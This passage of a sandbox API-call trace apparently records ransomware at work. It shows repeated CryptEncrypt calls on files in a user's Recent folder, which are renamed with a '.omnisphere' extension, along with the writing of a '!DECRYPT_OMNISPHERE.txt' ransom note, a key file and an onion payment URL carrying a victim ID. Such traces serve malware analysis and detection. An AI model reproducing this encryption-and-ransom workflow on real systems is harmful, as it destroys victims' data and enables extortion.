returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] GetTickCount () returned 0x115e0c7 [0120.271] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0120.272] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0120.272] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.272] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.272] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0120.272] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34a, lpName=0x0) returned 0x288 [0120.272] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34a) returned 0x1480000 [0120.272] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668a38) returned 1 [0120.273] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0120.273] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.273] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.274] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.275] CryptDestroyKey (hKey=0x1639b28) returned 1 [0120.275] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0120.275] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x34a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.275] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.275] GetProcessHeap () returned 0x1600000 [0120.275] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16bc2b8 [0120.276] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hhge8vxor0p6bx.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hhge8vxor0p6bx.lnk.omnisphere")) returned 1 [0120.276] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk.omnisphere.id" [0120.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hhge8vxor0p6bx.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.277] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.278] CloseHandle (hObject=0x3c0) returned 1 [0120.278] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.278] CloseHandle (hObject=0x288) returned 1 [0120.278] SetEndOfFile (hFile=0x28c) returned 1 [0120.279] FlushFileBuffers (hFile=0x28c) returned 1 [0120.282] CloseHandle (hObject=0x28c) returned 1 [0120.283] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hHGe8VXor0p6BX.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.283] GetProcessHeap () returned 0x1600000 [0120.283] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c9018 [0120.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.283] GetProcessHeap () returned 0x1600000 [0120.283] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1dc0 [0120.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1dc0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.283] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.283] GetProcessHeap () returned 0x1600000 [0120.283] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16aff68 [0120.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16aff68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.283] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.283] GetProcessHeap () returned 0x1600000 [0120.283] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfe80 [0120.283] PathCombineW (in: pszDest=0x16bfe80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.283] GetProcessHeap () returned 0x1600000 [0120.283] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c2758 [0120.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.284] WriteFile (in: hFile=0x28c, lpBuffer=0x16c2758*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c2758*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.284] CloseHandle (hObject=0x28c) returned 1 [0120.284] GetProcessHeap () returned 0x1600000 [0120.284] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c9018 | out: hHeap=0x1600000) returned 1 [0120.284] GetProcessHeap () returned 0x1600000 [0120.284] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e838 [0120.284] PathCombineW (in: pszDest=0x162e838, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.284] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.284] CloseHandle (hObject=0x28c) returned 1 [0120.285] GetProcessHeap () returned 0x1600000 [0120.285] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e838 | out: hHeap=0x1600000) returned 1 [0120.285] GetProcessHeap () returned 0x1600000 [0120.285] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.285] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2030f75b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2030f75b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2030f75b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="HM8-exyEM3FSpZJtX.lnk", cAlternateFileName="HM8-EX~1.LNK")) returned 1 [0120.285] GetProcessHeap () returned 0x1600000 [0120.285] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16bfae8 [0120.285] PathCombineW (in: pszDest=0x16bfae8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="HM8-exyEM3FSpZJtX.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk" [0120.285] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HM8-exyEM3FSpZJtX.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hm8-exyem3fspzjtx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.286] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1001) returned 1 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.286] GetTickCount () returned 0x115e0d7 [0120.287] GetTickCount () returned 